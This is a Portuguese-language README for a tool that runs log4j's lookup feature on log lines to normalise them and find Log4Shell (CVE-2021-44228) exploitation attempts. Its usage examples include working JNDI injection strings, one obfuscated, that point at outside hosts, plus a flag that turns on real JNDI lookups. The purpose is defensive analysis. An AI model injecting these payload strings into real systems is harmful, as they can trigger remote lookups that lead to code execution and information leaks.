
Algumas ferramentas para ajudar a mitigar o Apache Log4j 2 CVE-2021-44228
Ferramenta para ajudar a analisar o Apache Log4j 2 CVE-2021-44228
Esta ferramenta usa o recurso "lookup" do log4j-2 para testar contra a vulnerabilidade JNDI. O objetivo é executar facilmente o recurso de lookup (para normalizar logs, por exemplo, ou para fazer um teste real em algum payload - por favor, tenha cuidado).
Para compilar: "make" (por conveniência, o arquivo JndiLookup.jar está incluído neste git).
Depois de compilado, você pode executar a ferramenta com "java -jar JndiLookup.jar" (o diretório log4j com os binários log4j deve estar no mesmo caminho que JndiLookup.jar)
Sem argumentos, a ferramenta JndiLookup lê linhas da entrada padrão (stdin) e as "converte" usando o recurso de lookup do log4j - isso deve ser útil para normalizar logs e procurar tentativas de exploração
Por exemplo: cat access.log | java -jar JndiLookup.jar
Se você passar uma string na linha de comando, a ferramenta converterá essa string e sairá (por favor, escape todos os caracteres '$').
Por exemplo: java -jar JndiLookup.jar java -jar JndiLookup.jar "\${jndi:\${lower:l}\${lower:d}a\${lower:p}://world443.log4j.bin\${upper:a}ryedge.io:80/callback}"
Por padrão, a consulta JNDI está desabilitada (e substituída por uma função de lookup que apenas adicionará "jndi:", mas é possível habilitar a consulta JNDI real passando o parâmetro "-X" para JndiLookup ("-X" deve ser passado como primeiro parâmetro); TENHA CUIDADO com isso, pois pode levar ao comprometimento do seu sistema.
Por exemplo: java -jar JndiLookup.jar -X "\${jndi:ldap://w8pcb14reujq65vic39pz9amv.canarytokens.com/a}" [ Este exemplo usa um dos meus canary tokens, é apenas para o exemplo; por favor, saiba que serei notificado se você usar este comando - não há problema do meu lado, mas obterei o IP de onde a requisição DNS é feita ]
As seguintes consultas (lookups) estão habilitadas nos binários log4j usados (2.15.0 para uso padrão, 2.14.1 para uso com JNDI habilitado):
Outras consultas podem estar disponíveis dependendo do seu ambiente:
[ Por favor, veja https://github.com/apache/logging-log4j2/blob/c30a1398a6697fb832c650870c44284d0052103e/log4j-core/src/main/java/org/apache/logging/log4j/core/lookup/Interpolator.java para detalhes sobre ativação do plugin de lookup ]
Por favor, esteja ciente de que esta ferramenta usa o código real do recurso de lookup do log4j e pode ser vulnerável devido a outros problemas de segurança (não relacionados a JNDI).